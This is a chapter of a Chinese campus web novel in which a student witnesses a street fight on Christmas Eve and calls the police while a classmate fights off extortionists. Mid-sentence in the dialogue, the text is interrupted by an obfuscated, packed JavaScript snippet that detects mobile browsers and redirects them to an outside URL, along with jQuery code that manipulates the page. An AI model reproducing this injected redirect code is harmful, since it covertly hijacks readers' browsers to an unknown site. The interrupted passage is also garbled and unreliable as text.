明明自己兜里没几个钱,在送礼这方面却一点不含糊。 就连葛天舒也欣赏他这一点,还借此敲打葛朝越,说他跟人做朋友这么久,却没学到这方面一星半点。 葛朝越当时蛮不在乎地说:“我又不需要。” 他总说这句话,现在遭报应啦。 葛思宁幸灾乐祸地往水缸里撒了把鱼食,不禁开始数他还有几天回来。 学校里最近风平浪静得有些可怕。 之前携带违规物品事件屡禁不止,校方抓了几个学生出来杀鸡儆猴,但是一般干这种事情的人也不怕被请家长或者停学,所以歇了几天又继续兴风作浪。 教导主任气得不轻,说要加强巡逻,开始禁止学生在教室里吃早饭,于是就出现了诡异的一幕——每逢早读下课,走廊外面就会挤满了吃早饭的人。 贴吧里还有人戏称此乃本校一道靓丽的风景线,当天就被删帖封号了。 而事情闹成这样,学生会干部作为协助成员,几乎要忙成陀螺。 有的学生协调不好自己的时间和精力,在课上打盹导致成绩下降,家长一问缘由,直接杀来学校责问校领导。 在魔法攻击下,校方不得已恢复了之前的值班表,葛思宁也因此能够多睡十五分钟。 有一次她去办公室里交作业,听到了老师们在聊天。 有善解人意的老教师说这种事本来就不应该兴师动众,象征性地强调一下就完了,哪有真的要赶尽杀绝的?现在的孩子正在发育,晚上本来就睡得少,如果连吃都吃不好,那日子就真的没有盼头了,搞不好读着读着就跳了。 她说得太极端,有些顺风顺水了十几年的中年教师不同意了:您也会说这些都是小事,校方这样做肯定都是为了学生着想,起码能够遏制他们早上赖床的习惯,不然饭堂的早餐谁去吃?浪费粮食可耻!况且心理承受能力这么脆弱,怎么上高三的战场? 老教师被怼了也不生气,端着茶杯摇摇头,飘回自己的座位。 葛思宁在等吴思确认这周的小测题目,这周轮到她给整个高二级组出试卷,用膝盖想都知道肯定是地狱难度。 她站在办公桌旁边,安安静静的,英语老师突然回过头来,问她:“思宁,你吃不吃橘子?” 葛思宁很淑女地摆摆手,说:“谢谢老师,我不吃。” 英语老师又问吴思,吴思也说不吃,并且反手给了她一张值班表。 英语老师接过,看了一眼,叹了口气。 葛思宁瞄到最上边的一行小字,有早恋这个词。 表格第一栏分别是停车鹏、宿舍、操场、食堂、自习室。 她顿时想起徐之舟的话。 还以为是他危言耸听呢,结果来真的! 难怪最近老师们都没什么动静,原来是在悄悄蹲点。 “就这些,你待会先去打印室把我们班的拿回来。” 吴思开口打断了葛思宁的思绪,葛思宁慢半拍地点头,“好的老师。” 然后抱着一沓作文本回去了。 英语老师一边填表一边吐槽,“你说现在的孩子怎么就这么早熟呢?一辈子这么长,就非得在最该认真学习的阶段,浪费时间浪费青春,去谈一个百分之九十都走不到最后的人吗?” 吴思冷笑一声,想起班上的小甲小乙,说:“不知道。” 其他老师听到了,接腔,办公室又热闹起来。 你一嘴我一嘴,把历届的花边轶事都扒出来说了一遍,最后资历丰富的老师总结:知人知面不知心。别看我们学校是重点高中,也别看有的学生表面上多乖巧听话,这个年纪的孩子只有你想不到,没有他们做不到! 听到这里,年轻的英语老师被吓到了。 她想起刚才来过的葛思宁,偷偷问吴思:“你说思宁应该不会吧?她看着真的不像那种会早恋的人。” 吴思:“小乙看起来也不像。她还是你的课代表呢。” 英语老师:“……” 吴思刷刷改着作业,她通常会让葛思宁把自己的那份放在最上面,优先改她的,然后拿她的当参考答案。 这次也不例外,吴思勾完最后一道题,又翻过来看了看正确率,几乎是满分。 坐在前面的英语老师还在和人侃侃而谈,取经。 吴思把葛思宁的作业放到一边,开始改下一份。 她嘴巴上说这是这么说,但其实心里还是很信任葛思宁的。 再怎么否认都没用,老师多多少少都会偏爱自己学科的得意门生。 吴思也不例外。 - 平安夜那天刚好是周五,这周又刚好是大周,天时地利人和。 同学们从上午就开始蠢蠢欲动,下午最后一节课甚至已经有人提前背好了书包。 一副随时准备冲出校门的做派令老师非常不悦,直接放下狠话:下课铃响之前,谁敢动谁多做一份试卷。 但依旧拦不住久未出栏的住宿生,放学铃一响,教学楼就一阵动荡,二十秒不到教室就空了大半,老师一边摇头一边收拾教案,下班。 葛思宁一点不着急,在座位上慢悠悠地收拾东西。 他们文重班算好的了,还有几个同学留下来自习。 大周比小周多了一天,所以作业也多了一倍。 葛思宁本来是带打算回家写的,因为今天这一整天班上的氛围都很躁动。 但是人走了一半以后,她又觉得留下来再学一会也可以。 尤其是她抬头看见李函埋头苦读的背影后,一股不服气的劲头突然涌上来。 她放下了书包,抽了本最重的练习册出来,先写这本就不用背回家了。 走廊外面站着几个背着书包还没走,不知道在等什么的同学。 张月上完厕所回来,看到葛思宁还坐在座位上,不禁一愣。 她去厕所之前明明看到葛思宁已经背上书包了。 她经过顺口问了句:“你还不回去啊?” 葛思宁嗯了一声,就没了。 不然呢?她摆明了在写作业,应该不需要特意再说一句“我想再学一会儿”吧。 张月张张嘴,本来想问她圣诞节打算怎么过。 但窗外有目光看过来,她和那些女生对上视线,话顿时咽回去。 有一个女生走到后门来叫她:“张月,你和我们一起走吗?” “……嗯。” 葛思宁听到了,没抬头,通过声音就能得知是谁。 她嘀咕了一下张月怎么和这个人玩到一起了,但又很快被阅读理解分散掉好奇心。 教室静下来,只有外面风刮过光秃秃的枝丫,失望离开的声音。 这个季节,哪里还有落叶。 葛思宁学到高三放学铃响才抬头,班里的人走得差不多了。 李函却还坐在那里。 葛思宁靠着椅子休息了一会儿,感觉他的坐姿都没变过。 不和他卷了,卷不过。 她收拾好东西。 再不走就天黑了。 只是几朵云离开的功夫,天际就已经暗下来。 葛思宁拿出手机,给王远意发了一条信息,让他别担心,自己已经在路上了。 至于她今天为什么会带手机,是因为她想在放学回家之前去商场买点东西。 太多现金放身上,她害怕跑操的时候丢了,又怕不放身上被人偷了。想来想去索性偷偷带一次手机,反正最近也没有收到老师要检查电子设备的消息。 葛思宁今天一整天都在忐忑中度过,等出了校门,她心里的石头才终于落地。 扫了辆共享单车火速前往商场,买好了东西以后又火速离开,葛思宁跟做贼一样,把东西放进书包里,等骑到学校和家中间,又把单车停好,改成走路。 她连搪塞王远意的借口都想好了,就说自己肚子饿了在学校附近吃了点东西。 为此葛思宁还特地去小吃街溜了一圈,沾点气味回家。 她发誓绝对是酱香饼太香了她才顺手买了一袋,不是她嘴馋。 葛思宁边吃边往家走,这附近还有其他学校,正是周五,热闹得很,以至于人挤人,葛思宁特地走了小路,绕了几条巷子。 她不常走小路,所以并不知道这些巷子经常会发生恶性事件,尤其是在这种节假日放学的时间段。 葛思宁目不斜视地经过,身后突然传来一声尖叫。 她被吓了一跳,条件反射地往声源处看——后面空无一人,但是有一条窄道,她刚才貌似看到里面有人? 没等她确认,那道缝隙就传来一阵兵荒马乱。 确实有人,还不止两三个。 拳头打在肉.体上的动静是砰砰砰的,沉闷却刺耳,其中还混杂着男性的喘气和咒骂。 刚才尖叫的那道女声已经变作呼救,葛思宁没法视而不见,握着手机一边往回挪,一边打110。 她趴在巷子口偷偷看了一眼,看到是自己学校的校服,饼都给吓掉了。 和靠在墙边、被眼前的激战吓得不敢动弹的女生对视了一眼,葛思宁当机立断地摁下报警电话。 她一边报地址一边偷看那群厮打在一起的男生,三个绿色校服打一个蓝色校服,竟然还打不赢,看来她们学校的男生不仅成绩出众,武力值也很高啊! 葛思宁佩服自己还有心思想这些,明明捏着手机的手都在抖,声音就更不用说了。 而落了下风、被甩到墙上的一名绿衣男子在吃痛后发现了她的存在,竟然一个猛扑上来企图抢她的手机,葛思宁往后退了一步侥幸躲过,但是眼看对方继续靠近,吓得瞳孔蓦地扩大。 她颤抖着声音虚张声势:“你别过来啊!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335041|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经报警了!” 那位女生也说:“打人是要坐牢的!多打一个要赔多一笔医药费!” 无人在意。 葛思宁视死如归地闭上眼。 然而想象中的可怕并没有到来,反而还听到了该名男子的一声闷哼。 蓝色校服挺身而出,一个飞踢把人踹倒了。 葛思宁看看他挂彩的脸,脏兮兮的校服,和擦破皮的指节,再看他身后已经眼冒金星的两个人,眨眨眼,面无表情,实则心跳都快蹦出来了。 ……怎么是他啊。 警笛声从巷口传来,陈安远递给那个女生一个眼神,然后单手拽着葛思宁就走,意思是快跑。 葛思宁条件反射地服从,三个人一路跑出巷子,跑得腿都快抽筋了才停,此起彼伏的喘息中,葛思宁分神想,还好后来她没再抓陈安远小辫子了,不然说不定哪天他不爽了,她也要挨打。 照刚才那个情况来看,她、副会长还有那些看着就弱不禁风的干部,捆起来都不够陈安远一只手厉害。 徐静跑得太猛了,这会儿正扶着墙做深呼吸,等稍微好了一点以后,她断断续续地道谢:“谢…谢…谢谢你啊,同学。” 陈安远睨了她一眼。 葛思宁说:“不客气。” 然后她又问:“不过我们为什么要跑啊?待会叔叔说我报假警怎么办!” 陈安远叉着腰一口气还没缓过来,就被她这个问题气到,背过身去。徐静见状,指指他,解释,“刚才那情景,谁打谁恐怕说不清。” 说到这个,葛思宁就很多细节想问了。 “你为什么会在那里?他……怎么还和外校的人打起来了?”她指了指陈安远。 说到这个徐静就来劲了:“因为他们勒索我啊!看我长了一副好学生的样子,就问我要保护费。” 葛思宁瞪大眼,看着陈安远的背影:“那……他……”也是收保护费的?分赃不匀? 许是她的视线太灼热,陈安远正垂头观察手上伤口,突然回头,和葛思宁对视上了。 她的表情不要太明显,俨然写着对他人品的怀疑。并且在触及他的目光后,立马心虚地移开了视线。 “……” 陈安远真是气不打一处来,欲言又止半天,那口气怎么都噎不下去,索性不说话了。 徐静看穿她心中所想,噗嗤一声笑了。 “他不是。他是路见不平的英雄。” 葛思宁将信将疑。 “哦……” 徐静又指指她,“你也是。” 葛思宁挠挠头,难得不好意思。 说真的其实她也没帮上什么忙,如果一定要感谢,应该感谢酱香饼太香了,不然她不会走那条路。 她佯装谦虚,实则笑容略带得意,嘴上说着:“哈哈。没有啦,顺路而已。” 说到这里,她想起她的饼了,她的饼还一口都没吃呢! 如此伪善的做派,陈安远更是懒得搭理。 他甚至不理解徐静的礼貌。 毕竟有他在,那三个人不是威胁。顶多场面血腥了一些。 葛思宁的肚子在叫,一连串的回神让她想起自己该回家了,再看手机,果然有好几个未接来电,不仅来自王远意,还有葛朝越的。 她定睛一看时间,才发现这么晚了,天都黑透了,她还在外面逗留。 于是也顾不上问东问西了,葛思宁心急如焚:“那我先走了?” 徐静说:“好呀,你家里人催你是吗?”她本来还想请葛思宁吃饭的。 “不过可以告诉我你的名字和班级吗?我回头好找你。” “找我干什么?” 徐静觉得她这个反问有些奇怪,理所当然地说,“感谢你啊!” 葛思宁摆手,“不用了不用了,我又没帮上什么忙。” 真正见义勇为的人在装帅呢。 葛思宁一边告别一边偷瞄一言不发的陈安远,心想这个情节如果写进小说里,就是妥妥的校园文开头啊! 不过她不怎么喜欢哑巴型男主就是了。 葛思宁归心似箭,又跑起来,很快消失在夜色里。 徐静跟了她几步,见追不上,心想算了。 回过神一想,觉得她有点眼熟。 她问陈安远:“你认识她吗?” 陈安远:“见过。” “啊?是你搬的救兵?” 他搬个屁。 陈安远冷哼一声,“谁会找这么蠢的救兵?” 报警还要犹豫半天。 “你干嘛这样说人家,好歹也是见义勇为,没有袖手旁观啊。”徐静觉得他这个人太刻薄了,“难道你还想她也动手不成?那到了警局才真是说不清了。你哥来了准要揍你。” 陈安远眼神淡淡地落到徐静脸上:“那你要不要反省一下自己为什么会被勒索?” 徐静无语:“我是受害者,我需要反省什么?” 陈安远:“那我也算见义勇为,我需要反省什么?” 想了想,他又说。 “而且你只谢谢她是什么意思?被打成孙子的人是我吧。” 徐静看了看他挂彩的脸,又想到那三个爬都爬不起来的小流氓,不是很能判断被打成孙子的人是谁。 她避重就轻:“那我们是同班同学,感谢你不是随时随地的事嘛。” “没见你谢过。” 徐静不服:“你多少次没交作业都是我包庇的?” “是,你包庇我,然后让徐之舟来抓我。” 徐静心虚了,“……说不过你。” 她闭嘴了,陈安远也沉默。 而且一打三,他也受了伤,一说话嘴角的伤口就疼。 他们不同方向,但是天黑了,陈安远很绅士地送她回家。 路上徐静喋喋不休:“那个女生和穿我们一样的校服。是高一还是高二的?是理科班的?不是吧。我印象里没见过她。看气质也应该是文科班的。” 陈安远听得见,但是不理会。 扪心自问,陈安远不太想和葛思宁这个人扯上什么关系。